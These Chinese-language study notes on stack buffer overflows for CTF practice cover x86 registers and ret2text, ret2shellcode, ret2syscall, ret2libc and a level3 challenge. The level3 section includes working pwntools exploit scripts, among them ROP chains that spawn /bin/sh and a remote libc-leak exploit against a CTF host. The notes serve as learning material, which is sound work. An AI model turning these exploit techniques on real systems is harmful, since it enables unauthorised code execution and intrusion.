学习栈记记笔记

栈的主要寄存器

主要有三个ebp,eip,esp,eip存放下一步要运行的指令的地址,ebp为帧基指针,可以理解为指向栈里面最高的地址,esp则可以理解为指向站里面最低的地址。

栈的分布

存放注意:上方是高地址,下方是低地址。
注意:上方是高地址,下方是低地址。

存入栈的顺序

栈由高位置生长向低位置,所以由图就可以看到

实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N

对于平时做题就可以有一个简化版的图

此图中输入字符串距离ebp为14个字节,下方为低地址,上方为高地址。

经常被攻击的函数

在这里插入图片描述
在这里插入图片描述

常见攻击方法rop

在这里插入图片描述

ret2text

此题见于ctf-wiki,总结一下关键点,构造payload ret2‘system(bin/sh)’,关键是算偏移量,此处算相对ebp的偏移量利用的是相对esp的偏移量。
在这里插入图片描述
在这里插入图片描述
从这两个图可以看出,s的相对于esp的位置为80h-64h=1c,然后通过gdb算esp与ebp的相对偏移,就可以计算出s相对于ebp的偏移位置了。
用gdb将断点下在call gets
在这里插入图片描述
就算出esp相对于ebp的偏移为88h,所以s相对于ebp的位置就为88h-1c=6c,再加上为32位的文件,payload就构造出来了,最终脚本
在这里插入图片描述

ret2shellcode

在这里插入图片描述
从主函数可以看到gets之后又复制了一次到bss段,程序中也没有system和bin/sh,就要自己构造一个shellcode放入bss段中然后通过执行Bss段来执行。
偏移算法参照上题,为112,找到bss段地址,用pwntools构造shellcode,代码如下。
在这里插入图片描述

ret2syscall

在这里插入图片描述
此题没有system调用,只有binsh的字符串,然后思路就是利用系统调用来调用system,需要eax=0xb,ebx=address(bin/sh),ecx=0,edx=0,最后进行Int0x80,就可以调用了,由于gets有栈溢出,只需要一直return每一个pop,exx,然后输入对应的值,最后返回int0x80即可。
找这些pop就需要用到ROPgadget工具了,命令行如下

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop  --only 'int'

最后的exp放一下

from pwn import *
sh = process('./rop')
pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
binsh=0x080BE408
int80=0x08049421
payload = flat(['a'*112,p32(pop_eax),0xb,p32(pop_edx_ecx_ebx),0,0,binsh,int80])
sh.sendline(payload)
sh.interactive()

ret2libc1

在这里插入图片描述
此题可以查到system和binsh都有,查到地址后,直接栈溢出返回调用,代码如下

from pwn import *
sh = process('./ret2libc1')
system=0x08048460
binsh=0x08048720
payload = flat(['a'*112,p32(system),'aaaa',p32(binsh)])
sh.sendline(payload)
sh.interactive()

level3

此题既无system也无/bin/sh,所以就需要自己利用动态链接库计算真实地址。
在这里插入图片描述
此处存在一个栈溢出,偏移量为88h+4,此处选择泄露write_got(由于在read执行前,就执行了write了,就保存了write_got了),然后算出system和/bin/sh的地址即可,代码如下。

from pwn import *
from LibcSearcher import * 

p=remote('111.198.29.45',55393)
elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
vulnerable_add=0x0804844b
payload=flat(['a'*140,p32(write_plt),p32(vulnerable_add),p32(1),p32(write_got),p32(4)])
p.recv()
p.sendline(payload)
write_add=u32(p.recv(4))
libc=LibcSearcher('write',write_add)
libcbase=write_add-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload1=flat(['a'*140,p32(system),p32(0xdeadbeef),p32(bin_sh)])
p.sendline(payload1)
p.interactive()

64位

寄存器

%rax 作为函数返回值使用。
%rsp 栈指针寄存器,指向栈顶,最低位置
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。
%rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则,简单说就是随便用,
调用子函数之前要备份它,以防他被修改
%r10,%r11 用作数据存储,遵循调用者使用规则,简单说就是使用之前要先保存原值

PS:参考了ctf-wiki的内容。ctf-wiki

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值